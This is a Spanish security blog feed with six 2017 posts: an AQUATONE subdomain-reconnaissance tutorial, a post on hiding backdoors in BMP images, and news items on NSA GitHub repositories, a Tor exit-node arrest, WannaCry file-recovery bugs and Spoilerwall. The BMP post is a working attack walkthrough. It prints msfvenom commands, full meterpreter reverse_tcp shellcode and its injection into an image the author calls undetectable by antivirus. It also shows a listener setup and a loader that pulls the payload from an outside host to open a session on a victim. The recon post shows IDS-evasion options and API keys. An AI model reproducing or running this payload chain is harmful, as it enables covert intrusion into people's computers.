AQUATONE, más que una herramienta de descubrimiento de subdominios

June 19, 2017, 4:52 pm

≫ Next: Backdoors en imágenes gracias a BMPs y una lupa

≪ Previous: AVET (AntiVirus Evasion Tool)

AQUATONE del alemán Michael Henriksen es un conjunto de herramientas escritas en Ruby para realizar reconocimientos de nombres de dominio. Puede descubrir subdominios usando fuentes abiertas o mediante fuerza bruta usando un diccionario. Después del descubrimiento de subdominios, AQUATONE puede escanear los hosts para identificar puertos web comunes. Además puede reunir y consolidar en un informe los encabezados HTTP, cuerpos HTML y capturas de pantalla para un análisis rápido de la superficie de ataque.

La instalación es muy sencilla, sólo tenemos que descargar o clonar el repositorio en Github:

$ git clone https://github.com/michenriksen/aquatone.git

Instalar las gemas:

$ gem install aquatone

Y añadir nuestras keys de las APIs de Shodan y Virustotal:

$ aquatone-discover --set-key shodan o1hyw8pv59vSVjrZU3Qaz6ZQqgM91ihQ
$ aquatone-discover --set-key virustotal 132d0h354bd538656ek435876567b1g757945342347654as548f3264a8724g19

Luego, para mayor flexibilidad, AQUATONE se divide en tres comandos, según queramos o no descubrir subdominios, escanear los hosts y/o obtener información de los servicios (gathering), cada una representando distintas fases que vemos a continuación:

Fase 1: descubrimiento (aquatone-discover)

Lo primero que hace AQUATONE es consultar los DNS con la autoridad para el dominio objetivo. De esta manera se asegura que la información obtenida está actualizada. Luego hace una prueba rápida para ver si el dominio de destino está configurado para ser un dominio wildcard, si lo es, identificará las posibles respuestas wildcard y las filtrará. Posteriormente, procede a preguntar a cada módulo de para recopilar los subdominios:

- Diccionario brute force (ver diccionario aquí)
- DNSDB.org http://dnsdb.org/
- Informe de Transparencia de Google
- HackerTarget
- Netcraft
- Shodan (requiere clave de API)
- ThreatCrowd
- VirusTotal (requiere clave de API)

El comando básico es el siguiente:

$ aquatone-discover --domain example.com

Por defecto tirará 5 hilos, si queremos aumentar el número para que vaya más rápido podemos usar el parámetro --threads:

$ aquatone-discover --domain example.com --threads 25

Si por el contrario no queremos hacer mucho ruido podemos espaciar cada consulta DNS cada el número de segundos que especifiquemos con --sleep y un retardo variable con --jitter para evadir posibles IDS:

$ aquatone-discover --domain example.com --sleep 5 --jitter 30

AQUATONE descubre los servidores DNS que resuelven los nombres de dominio objetivo y reparte las consultas entre ellos. Si las consultas hacia estos DNS fallan por defecto realizará las consultas a los DNS de Google para maximizar los resultados. Podemos especificar también otros DNS de "reserva" con:

$ aquatone-discover --domain example.com --fallback-nameservers 87.98.175.85,5.9.49.12

Una vez finalizado el descubrimiento de dominios y subdominios los resultados se almacenarán en el fichero hosts.txt y hosts.json para facilitar el parseo.

Fase 2: escaneo (aquatone-scan)

La etapa de escaneo es donde AQUATONE enumera los servicios web/puertos TCP abiertos en los hosts descubiertos anteriormente:

$ aquatone-scan --domain example.com

De forma predeterminada, aquatone-scan buscará en cada host presente en el fichero hosts.json los siguientes puertos TCP: 80, 443, 8000, 8080 y 8443. Estos son puertos muy comunes para servicios web y proporcionan una cobertura razonable, pero si queremos especificar nuestra propia lista de puertos, podemos utilizar la opción --ports:

$ aquatone-scan --domain example.com --ports 80,443,3000,8080

En lugar de una lista de puertos separados por comas, también podemos especificar algunos alias predefinidos:

- small: 80, 443
- medium: 80, 443, 8000, 8080, 8443 (same as default)
- large: 80, 81, 443, 591, 2082, 2095, 2096, 3000, 8000, 8001, 8008, 8080, 8083, 8443, 8834, 8888, 55672
- huge: 80, 81, 300, 443, 591, 593, 832, 981, 1010, 1311, 2082, 2095, 2096, 2480, 3000, 3128, 3333, 4243, 4567, 4711, 4712, 4993, 5000, 5104, 5108, 5280, 5281, 5800, 6543, 7000, 7396, 7474, 8000, 8001, 8008, 8014, 8042, 8069, 8080, 8081, 8083, 8088, 8090, 8091, 8118, 8123, 8172, 8222, 8243, 8280, 8281, 8333, 8337, 8443, 8500, 8834, 8880, 8888, 8983, 9000, 9043, 9060, 9080, 9090, 9091, 9200, 9443, 9800, 9981, 11371, 12443, 16080, 18091, 18092, 20720, 55672

Por ejemplo:

$ aquatone-scan --domain example.com --ports large

Al igual que aquatone-discover, puede hacer el escaneado más o menos agresivo con la opción --threads que acepta un número de subprocesos para escaneos de puertos concurrentes. El número predeterminado de subprocesos es 5.

$ aquatone-scan --domain example.com --threads 25

Como aquatone-scan está realizando el escaneo de puertos, obviamente puede ser detectado por IDS. Si bien tratará de reducir el riesgo de detección mediante la asignación al azar de hosts y puertos, se puede ajustar también más con las opciones --sleep y --jitter como anteriormente. Hay que tener en cuenta que el parámetro --sleep forzará los subprocesos a 1.

Fase 3: Gathering (aquatone-gather)

La etapa final es la parte de recopilación de información y análisis de los servicios web descubiertos, donde se guardan los encabezados de respuesta HTTP y los cuerpos HTML, además de tomar capturas de pantalla de las páginas web para facilitar el análisis. La captura de pantalla se realiza con la biblioteca Nightmare.js de Node.js que se instalará automáticamente si no está presente en el sistema.

Eso sí, si trabajáis con Kali u otra distro que tenga previamente Node.js tendréis que instalarlo previamente:

# wget -qO- https://raw.githubusercontent.com/creationix/nvm/v0.31.4/install.sh | wget -qO- https://raw.githubusercontent.com/creationix/nvm/v0.31.4/install.sh | bash
# command -v nvm
# nvm install 6
# export NVM_DIR="/root/.nvm"
# [ -s "$NVM_DIR/nvm.sh" ] && . "$NVM_DIR/nvm.sh"

Luego el último comando será:

$ aquatone-gather --domain example.com

Aquatone-gather buscará hosts.json y open_ports.txt en el directorio de AQUATONE del dominio correspondiente y solicitará una captura de pantalla de cada dirección IP para cada nombre de dominio.

Al igual que aquatone-discover y aquatone-scan, puede hacer la recopilación más o menos agresiva con la opción --threads que acepta un número de subprocesos para las solicitudes concurrentes. El número predeterminado de subprocesos es también 5.

$ aquatone-gather --domain example.com --threads 25

Fuente: https://github.com/michenriksen/aquatone

↧

Backdoors en imágenes gracias a BMPs y una lupa

June 20, 2017, 2:20 pm

≫ Next: Repositorios en Github de la NSA

≪ Previous: AQUATONE, más que una herramienta de descubrimiento de subdominios

Después de un tiempo de desconexión con motivo de exámenes y demás, hoy vuelvo para hablaros de un tema bastante útil a la par que peligroso...

Muchos nos hemos dedicado a darle cientos de vueltas a la cabeza para conseguir ejecutar malware sin ser frenados por la multitud de antivirus que hay en el mercado, para ello hay algunas herramientas como AVET, comentada anteriormente por estos lares, que nos facilitan cantidad el proceso de evasión de AVs, pero debemos saber que estas herramientas no son infalibles.

Normalmente nada más ser publicadas funcionan bastante bien, pero con el paso del tiempo sus mecanismos de evasión acaban siendo detectados por los antivirus y acaban quedando inservibles...

A parte de estas herramientas para evadir a los antivirus, puede haber otras maneras de crear backdoors indetectables o incluso distintos métodos de propagación de malware que no son muy utilizados en la actualidad como el que vengo hoy a tratar.

Seguramente casi nadie ~~(por no decir nadie)~~ os habréis fijado bien si hay algo raro en la imagen de cabecera del post, ¿no veis nada raro?, ampliarla un poquito más, ¿seguís sin verlo?, os daré un pista, haced zoom a la parte inferior izquierda de la imagen... Bueno, como podéis observar, aparece una tira de pixels de diferentes colores, los cuales no concuerdan con la imagen original, pues en esa tira de pixels se encuentra nuestra futura sesión de meterpreter, o mejor dicho, nuestro querido backdoor.

Como muchos habréis podido observar, es una imagen en formato bitmap (.bmp), esto quiere decir que estamos ante un mapa de bits que es una estructura o fichero de datos que representa una rejilla rectangular de pixels o puntos de color, denominada matriz, que se puede visualizar en un monitor, papel u otro dispositivo de representación. Aprovechando esta característica, hemos insertado un backdoor dentro de dicha matriz en 54 pixeles de la parte inferior izquierda de la imagen.

Si observamos de una imagen original y de otra backdorizada con un visor hexadecimal veremos los siguiente:

Si os fijáis, en comparación a la imagen original (izquierda), la imagen backdorizada (derecha) tiene añadidos unos valores seleccionados, ese es el backdoor en cuestión que se representa en la imagen original con esos pixels coloreados mencionados anteriormente.

Ahora vamos analizar si una imagen backdoorizada de este modo está totalmente libre de detecciones de antivirus.

https://virustotal.com/es/file/d1628866428459edca56f4321cd7776fb8b697c84ec76ac6a36d2373424fe9db/analysis/1497921950/

Como veis en el análisis, 0/56 detecciones, un backdoor totalmente FUD. Lo único que queda es poder interpretar esos pixels y valores para poder abrir la puerta trasera en el ordenador víctima.

Para ello tenemos la herramienta NativePayload_Image, una herramienta creada en C# por Damon Mohammadbagher que va a servir de interprete de nuestra puerta trasera, en este caso, una sesión de de meterpreter. Su uso es muy sencillo, nada más descargar el repositorio, compilaremos la solución con .Net Framework 2.0 , 3.5 o 4.0, y lo ejecutaremos desde la terminal de Windows.

NativePayload_Image Tool , Published by Damon Mohammadbagher , April 2017
Detecting/Injecting Meterpreter Payload bytes from BMP Image Files

Injecting Syntax :

Syntax Creating New Bitmap File by template:

Syntax  I: NativePayload_Image.exe create [NewFileName.bmp] [Meterpreter_payload]
Example I: NativePayload_Image.exe create test.bmp fc,48,83,e4,f0,e8,cc,00,00,00,41,51,41,50

Syntax Modify Bitmap File by New Payload:

Syntax  II: NativePayload_Image.exe modify [ExistFileName.bmp] [header_length] [Meterpreter_payload]
Example II: NativePayload_Image.exe modify test.bmp  54  fc,48,83,e4,f0,e8,cc,00,00,00,41,51,41,50

Detecting and Getting Meterpreter Session (backdoor mode) Syntax :

Syntax Getting Meterpreter Session by local BMP File:

Syntax  I: NativePayload_Image.exe bitmap [ExistFileName.bmp] [Payload_length] [BMP_Header_Length]
Example I: NativePayload_Image.exe bitmap test.bmp 510 54

Syntax Getting Meterpreter Session with Url by http Traffic

Syntax  II: NativePayload_Image.exe url [target url] [Payload_length] [BMP_Header_Length]
Example II: NativePayload_Image.exe url http://192.168.1.2/images/test.bmp 510 54

Syntax Getting Meterpreter Session by local/Web Encrypted BMP File:

Syntax  III: NativePayload_Image.exe decrypt [target url or local filename] [Payload_length] [BMP_Header_Length]
Example III: NativePayload_Image.exe decrypt http://192.168.1.2/images/test.bmp 510 54

También vamos a analizar la herramienta para vez si es detectada por los antivirus:

https://nodistribute.com/result/Lj724wmSu3qIXYDbOAakz6VZs59FBd

Cabe mencionar que este programa no se encarga únicamente de interpretar el backdoor, también tiene otros módulos como: create, que se encargará de crear un nuevo bitmap con el payload de meterpreter que le demos, y modify, que se encargará de modificar el bitmap que le demos y le añadirá los pixeles y valores del payload.

Dentro del intérprete hay varias opciones: bitmap, que se encargará de leer el payload de una imagen almacenada, url, que se encargará de leer el payload de una imagen almacenada en internet a traves de trafico http, y también decrypt, que se encargará de mostrarnos el payload que se está utilizando en un bitmap que se encuentre almacenado en el ordenador o en internet. Vamos a realizar un ejemplo/POC utilizando alguno de sus módulos y aplicándolo a un entorno real.

Para ello, lo primero que debemos hacer es obtener nuestro payload gracias a cualquiera de los siguiente comandos de msfvenom:

msfvenom --platform windows --arch x86_64 -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 -f c > payload.txt
msfvenom --platform windows --arch x86_64 -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 -f num > payload.txt

Yo usaré el primero, pero podéis usar cualquiera de los dos, si queréis ver una comparación, aquí os dejo un payload en -f c y en -f num. Entonces el formato de mi payload es el siguiente:

root@kali:~# cat payload.txt 
unsigned char buf[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1"
"\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
"\x49\xbc\x02\x00\x0f\xc8\xc0\xa8\x01\x8a\x41\x54\x49\x89\xe4"
"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x05"
"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";

Deberemos suprimir algunos caracteres del payload dejándolo de la siguiente forma para que la herramienta pueda interpretarlo, debe de quedar de la siguiente manera:

fc,48,83,e4,f0,e8,cc,00,00,00,41,51,41,50,52
,51,56,48,31,d2,65,48,8b,52,60,48,8b,52,18,48
,8b,52,20,48,8b,72,50,48,0f,b7,4a,4a,4d,31,c9
,48,31,c0,ac,3c,61,7c,02,2c,20,41,c1,c9,0d,41
,01,c1,e2,ed,52,41,51,48,8b,52,20,8b,42,3c,48
,01,d0,66,81,78,18,0b,02,0f,85,72,00,00,00,8b
,80,88,00,00,00,48,85,c0,74,67,48,01,d0,50,8b
,48,18,44,8b,40,20,49,01,d0,e3,56,48,ff,c9,41
,8b,34,88,48,01,d6,4d,31,c9,48,31,c0,ac,41,c1
,c9,0d,41,01,c1,38,e0,75,f1,4c,03,4c,24,08,45
,39,d1,75,d8,58,44,8b,40,24,49,01,d0,66,41,8b
,0c,48,44,8b,40,1c,49,01,d0,41,8b,04,88,48,01
,d0,41,58,41,58,5e,59,5a,41,58,41,59,41,5a,48
,83,ec,20,41,52,ff,e0,58,41,59,5a,48,8b,12,e9
,4b,ff,ff,ff,5d,49,be,77,73,32,5f,33,32,00,00
,41,56,49,89,e6,48,81,ec,a0,01,00,00,49,89,e5
,49,bc,02,00,0f,c8,c0,a8,01,8a,41,54,49,89,e4
,4c,89,f1,41,ba,4c,77,26,07,ff,d5,4c,89,ea,68
,01,01,00,00,59,41,ba,29,80,6b,00,ff,d5,6a,05
,41,5e,50,50,4d,31,c9,4d,31,c0,48,ff,c0,48,89
,c2,48,ff,c0,48,89,c1,41,ba,ea,0f,df,e0,ff,d5
,48,89,c7,6a,10,41,58,4c,89,e2,48,89,f9,41,ba
,99,a5,74,61,ff,d5,85,c0,74,0a,49,ff,ce,75,e5
,e8,93,00,00,00,48,83,ec,10,48,89,e2,4d,31,c9
,6a,04,41,58,48,89,f9,41,ba,02,d9,c8,5f,ff,d5
,83,f8,00,7e,55,48,83,c4,20,5e,89,f6,6a,40,41
,59,68,00,10,00,00,41,58,48,89,f2,48,31,c9,41
,ba,58,a4,53,e5,ff,d5,48,89,c3,49,89,c7,4d,31
,c9,49,89,f0,48,89,da,48,89,f9,41,ba,02,d9,c8
,5f,ff,d5,83,f8,00,7d,28,58,41,57,59,68,00,40
,00,00,41,58,6a,00,5a,41,ba,0b,2f,0f,30,ff,d5
,57,59,41,ba,75,6e,4d,61,ff,d5,49,ff,ce,e9,3c
,ff,ff,ff,48,01,c3,48,29,c6,48,85,f6,75,b4,41
,ff,e7,58,6a,00,59,49,c7,c2,f0,b5,a2,56,ff,d5

Ahora que tenemos el payload, escogemos una imagen en formato .bmp y ejecutamos la aplicación de la siguiente manera para crear nuestro bitmap backdoorizado:

C:\Users\Downloads\NativePayload_Image-master\NativePayload_Image-master>NativePayload_Image.exe modify imagen.bmp 54 fc,48,83,e4,f0,e8,cc,00,00,00,41,51,41,50,52,51,56,48,31,d2,65,48,8b,52,60,48,8b,52,18,48,8b,52,20,48,8b,72,50,48,0f,b7,4a,4a,4d,31,c9,48,31,c0,ac,3c,61,7c,02,2c,20,41,c1,c9,0d,41,01,c1,e2,ed,52,41,51,48,8b,52,20,8b,42,3c,48,01,d0,66,81,78,18,0b,02,0f,85,72,00,00,00,8b,80,88,00,00,00,48,85,c0,74,67,48,01,d0,50,8b,48,18,44,8b,40,20,49,01,d0,e3,56,48,ff,c9,41,8b,34,88,48,01,d6,4d,31,c9,48,31,c0,ac,41,c1,c9,0d,41,01,c1,38,e0,75,f1,4c,03,4c,24,08,45,39,d1,75,d8,58,44,8b,40,24,49,01,d0,66,41,8b,0c,48,44,8b,40,1c,49,01,d0,41,8b,04,88,48,01,d0,41,58,41,58,5e,59,5a,41,58,41,59,41,5a,48,83,ec,20,41,52,ff,e0,58,41,59,5a,48,8b,12,e9,4b,ff,ff,ff,5d,49,be,77,73,32,5f,33,32,00,00,41,56,49,89,e6,48,81,ec,a0,01,00,00,49,89,e5,49,bc,02,00,0f,c8,c0,a8,01,8a,41,54,49,89,e4,4c,89,f1,41,ba,4c,77,26,07,ff,d5,4c,89,ea,68,01,01,00,00,59,41,ba,29,80,6b,00,ff,d5,6a,05,41,5e,50,50,4d,31,c9,4d,31,c0,48,ff,c0,48,89,c2,48,ff,c0,48,89,c1,41,ba,ea,0f,df,e0,ff,d5,48,89,c7,6a,10,41,58,4c,89,e2,48,89,f9,41,ba,99,a5,74,61,ff,d5,85,c0,74,0a,49,ff,ce,75,e5,e8,93,00,00,00,48,83,ec,10,48,89,e2,4d,31,c9,6a,04,41,58,48,89,f9,41,ba,02,d9,c8,5f,ff,d5,83,f8,00,7e,55,48,83,c4,20,5e,89,f6,6a,40,41,59,68,00,10,00,00,41,58,48,89,f2,48,31,c9,41,ba,58,a4,53,e5,ff,d5,48,89,c3,49,89,c7,4d,31,c9,49,89,f0,48,89,da,48,89,f9,41,ba,02,d9,c8,5f,ff,d5,83,f8,00,7d,28,58,41,57,59,68,00,40,00,00,41,58,6a,00,5a,41,ba,0b,2f,0f,30,ff,d5,57,59,41,ba,75,6e,4d,61,ff,d5,49,ff,ce,e9,3c,ff,ff,ff,48,01,c3,48,29,c6,48,85,f6,75,b4,41,ff,e7,58,6a,00,59,49,c7,c2,f0,b5,a2,56,ff,d5

NativePayload_Image Tool , Published by Damon Mohammadbagher , April 2017
Detecting/Injecting Meterpreter Payload bytes from BMP Image Files


[!] Modify Bitmap File ...
[!] Bitmap File Name : imagen.bmp
[+] Injecting Meterpreter Paylaod to Bitmap File ...
[>] Injecting Payload (length 510) : fc4883e4f0e8cc00000041514150525156
[!] File imagen.bmp with length 12000054 bytes Modified.

Esta es la imagen con el payload que usaré:

Subiré la imagen a una maquina virtual Kali Linux conectada a la misma red que yo, copiando la imagen en la carpeta /var/www/html y ejecutamos Apache con service Apache2 start.

Ahora ejecutaremos meterpreter con la siguiente configuración:

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.138
LHOST => 192.168.1.138
msf exploit(handler) > set LPORT 4040
LPORT => 4040
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.138    yes       The listen address
   LPORT     4040             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > exploit

Por último, para obtener la sesión de meterpreter simplemente tendremos que usar el modulo url de la siguiente manera para que la herramienta lea el payload de la imagen sobre la maquina víctima:

C:\Users\Downloads\NativePayload_Image-master\NativePayload_Image-master>NativePayload_Image.exe url https://d3.dropfile.to/img/633e43797b4bc3d25b9f77f13727c76b.bmp 510 54

NativePayload_Image Tool , Published by Damon Mohammadbagher , April 2017
Detecting/Injecting Meterpreter Payload bytes from BMP Image Files

[+] Detecting Meterpreter Payload bytes by Image Files
[+] File Scanning .. . .
[+] Reading Payloads from URL  "https://d3.dropfile.to/img/633e43797b4bc3d25b9f77f13727c76b.bmp"
[+] Scanning Payload with length 510 from byte 54

Bingo Meterpreter session by BMP images ;)

Y hecho, sesión de meterpreter abierta :)

Por último, si quereis ver como hacer todo este proceso manualmente, os dejo el link de Damon Mohammadbagher que lo hace con (el mítico) Paint:https://www.linkedin.com/pulse/transferring-backdoor-payloads-bmp-image-pixels-damon-mohammadbagher

↧

Repositorios en Github de la NSA

June 21, 2017, 9:40 am

≫ Next: Detenido por correr un nodo de salida Tor en casa

≪ Previous: Backdoors en imágenes gracias a BMPs y una lupa

Algunos no lo saben pero, desde no hace mucho tiempo, la NSA tiene publicado un buen número de repositorios de Github con varias guías y variadas herramientas con su correspondiente código fuente. No tan interesantes como las que liberó ShadowBrokers *zasca* pero muchas que merece la pena revisar.

Sí amigos, ver para creer, la Agencia de Inteligencia (probablemente) más poderosa del mundo haciendo un ejercicio de desarrollo colaborativo, casi me emociono. Y es que, como ellos mismos rezan, el Software de Código Abierto u OSS invita al desarrollo cooperativo de la tecnología, fomentando su uso y adopción. El público se beneficia adoptando, mejorando, adaptando o comercializando el software y el Gobierno de los Estados Unidos se beneficia de las mejoras de la Comunidad. Menos da una piedra señores...

La razón fundamental de este "altruismo" se enmarca dentro del Programa de Transferencia de Tecnología de la NSA (TTP) que trabaja con innovadores de agencias que desean usar este modelo colaborativo para transferir su tecnología al mercado comercial.

Algunos de los proyectos más interesantes que podemos encontrar son:

- AppLocker Guidance: guía para implementar listas blancas de aplicaciones en AppLocker
- Certificate Authority Situational Awareness (CASA): una sencilla herramienta que identifica certificados de CAs sospechosas en equipos Windows
- Control Flow Integrity: una técnica basada en hardware para prevenir exploits de corrupción de memoria
- Event Forwarding Guidance: Guía de configuración para implementar la recopilación de eventos de Windows
- goSecure: una VPN portable y fácil de usar para Linux y Raspberry Pi
- GRASSMARLIN: Proporciona un conocimiento de la situación de la red IP de las redes ICS y SCADA para respaldar la seguridad de la red
- OpenAttestation: Un proyecto para recuperar y verificar la integridad del sistema de forma remota usando Trusted Platform Module (TPM)
- Pass-the-Hash Guidance: Guía para implementar mitigaciones para Pass-the-hash
- RedhawkSDR: Es un framework de radio definido por software (SDR) que proporciona herramientas para desarrollar, implementar y administrar aplicaciones de radio de software en tiempo real.
- OZONE Widget Framework (OWF): Es básicamente una aplicación web, que se ejecuta en su navegador, permite a los usuarios crear widgets ligeros y acceder fácilmente a todas sus herramientas de forma online
...

y así hasta 32 repositorios (y creciendo) que la NSA ha puesto (esta vez sí voluntariamente) y que podéis encontrar repartidos en cualquier de sus dos URLs en Github:

1. Information Assurance by NSA: https://github.com/iadgov
2. National Security Agency:https://github.com/nationalsecurityagency

↧

Detenido por correr un nodo de salida Tor en casa

June 21, 2017, 2:46 pm

≫ Next: Errores de Wannacry que pueden ayudar a recuperar archivos después de la infección

≪ Previous: Repositorios en Github de la NSA

El 6 de Abril arrestaron y desde el día 10 está detenido Dmitry Bogatov, acusado de haber publicado comentarios extremistas en sysadmins.ru.

Dmitry llevaba tiempo administrando un nodo de salida Tor desde su casa, que servía de salida a Internet a los usuarios que se conectaban a la cebolla.

Al venir los comentarios de su dirección IP las autoridades le atribuyen a él los comentarios, a pesar de que:

Dmitry estaba en el gimnasio con su mujer cuando se publicaron los comentarios.
El autor de los comentarios había escrito desde más de 100 IPs diferentes de distintas partes del mundo.
El autor de los comentarios sigue teniendo actividad en la red, mientras Bogatov está en la cárcel. Admitió públicamente que utiliza Tor.

¿Pretenden responsabilizar al administrador del nodo de salida la actividad proveniente de la red Tor? Eso nos dejaría exentos de cualquier culpa de lo que hagamos a través de Tor... Pero nos irá dejando sin nodos de salida poco a poco...

Yo me acabo de enterar hace poco, pero ésto ya ocurrió hace casi 3 meses y es gravísimo.

Más info:https://freebogatov.org/en/

Contribución gracias a 'elvecinodeabajo'

↧

Errores de Wannacry que pueden ayudar a recuperar archivos después de la infección

June 22, 2017, 6:43 am

≫ Next: Spoilerwall, devuelve un spoiler de una película por cada puerto escaneado

≪ Previous: Detenido por correr un nodo de salida Tor en casa

A veces los desarrolladores de ransomware cometen errores de programación. Estos errores pueden ayudar a las víctimas a recuperar el acceso a sus archivos originales después de una infección (por supuesto, nos referimos sin necesidad de pagar). Uno de los mejores ejemplos, lo tenéis en un artículo de Kapersky del pasado 1 de junio en el que publicaban una breve descripción de varios errores en el desarrollo de, casi con total seguridad, el ransomware más famoso hasta la fecha: Wannacry.

Errores en la lógica del borrado de archivos

Cuando Wannacry cifra los archivos de su víctima, lee desde el archivo original, cifra el contenido y lo guarda en el archivo con la extensión ".WNCRYT". Después del cidfrado mueve ".WNCRYT" a ".WNCRY" y elimina el archivo original. Esta lógica de borrado puede variar dependiendo de la ubicación y las propiedades de los archivos de la víctima.

Archivos que se encuentran en la unidad del sistema:

Si el archivo se encuentra en una carpeta "importante" (desde el punto de vista de los desarrolladores de programas maliciosos, por ejemplo, Escritorio y Documentos), el archivo original se sobrescribirá con datos aleatorios antes de su eliminación. En este caso, por desgracia, no hay forma de restaurar el contenido del archivo original.

Si el archivo se almacena fuera de carpetas "importantes", el archivo original se moverá a %TEMP%\%d.WNCRYT (donde %d es un valor numérico). Estos archivos contienen los datos originales y no se sobrescriben, simplemente se eliminan del disco, lo que significa que existen muchas posibilidades de que se puedan restaurar con algún software de recuperación de datos. En el ej. Recuva:

Archivos que se encuentran en otras unidades (que no son del sistema):

El ransomware crea la carpeta "$RECYCLE" y establece los atributos 'oculto' y de 'sistema' en esa carpeta. Esto hace que esta carpeta sea invisible para el Explorador de archivos de Windows si tiene la configuración predeterminada. El malware mueve los archivos originales a este directorio después del cifrado.

Sin embargo, debido a errores de sincronización en el código del ransomware, en muchos casos los archivos originales permanecen en el mismo directorio y no se mueven a $RECYCLE.

Los archivos originales se eliminan de forma no segura, por lo que vuelve a ser posible restaurar los archivos eliminados utilizando software de recuperación de datos.

Error de procesamiento de archivos de sólo lectura

Al analizar WannaCry, también descubrieron que este ransomware tiene un error en su procesamiento de archivos de sólo lectura. Si hay archivos de este tipo en la máquina infectada, el ransomware no los cifrará. Sólo creará una copia cifrada de cada archivo original, mientras que los archivos originales sólo obtendrán el atributo "oculto". Cuando esto sucede, es fácil encontrarlos y restaurar sus atributos normales.

Conclusiones

Según Kapersky, está claro que los desarrolladores de este ransomware han cometido muchos errores y, como señalan, la calidad del código es muy baja.

La conclusión es que si has sido infectado con WanaCry hay muchas posibilidades de restaurar una gran cantidad de los archivos en el ordenador afectado. Para ello, se pueden utilizar utilidades gratuitas disponibles para la recuperación de archivos.

↧

Spoilerwall, devuelve un spoiler de una película por cada puerto escaneado

June 23, 2017, 4:29 pm

≫ Next: ¿Cuáles son los sistemas operativos más utilizados por los hackers en 2017?

≪ Previous: Errores de Wannacry que pueden ayudar a recuperar archivos después de la infección

Shodan, Censys, Scans.io, NetDB.io, ZMap, ... hoy en día son muchos los servicios y herramientas que escanean (y etiquetan) continuamente y de forma indiscriminada todas las IPs en Internet. Pero, ¿y si troleáramos a estos escáneres abriendo puertos TCP que no contienen realmente ningún servicio? Y aumentando la mala baba a nivel Dios... ¿si cada servicio escaneado además devolviera un banner "spoileando" el final de una película?

Pues hace días Infobyte LLC nos sorprendía publicando en su Github una pequeña herramienta en Python que precisamente hace eso: Spoilerwall. Una utilidad que simplemente levanta un servidor web (SocketServer) en un puerto especificado y devuelve de forma aleatoria un texto contenido en un fichero json (el spoiler). Luego y normalmente mediante iptables tendremos que redireccionar el puerto o puertos que consideremos para que, a la hora de que nos escaneen la máquina, devuelva el banner de turno. Simple evil.. xD

Para probarlo, lo primero que tenemos que hacer -por supuesto- es clonar el repositorio:

$ git clone https://github.com/infobyte/spoilerwall.git

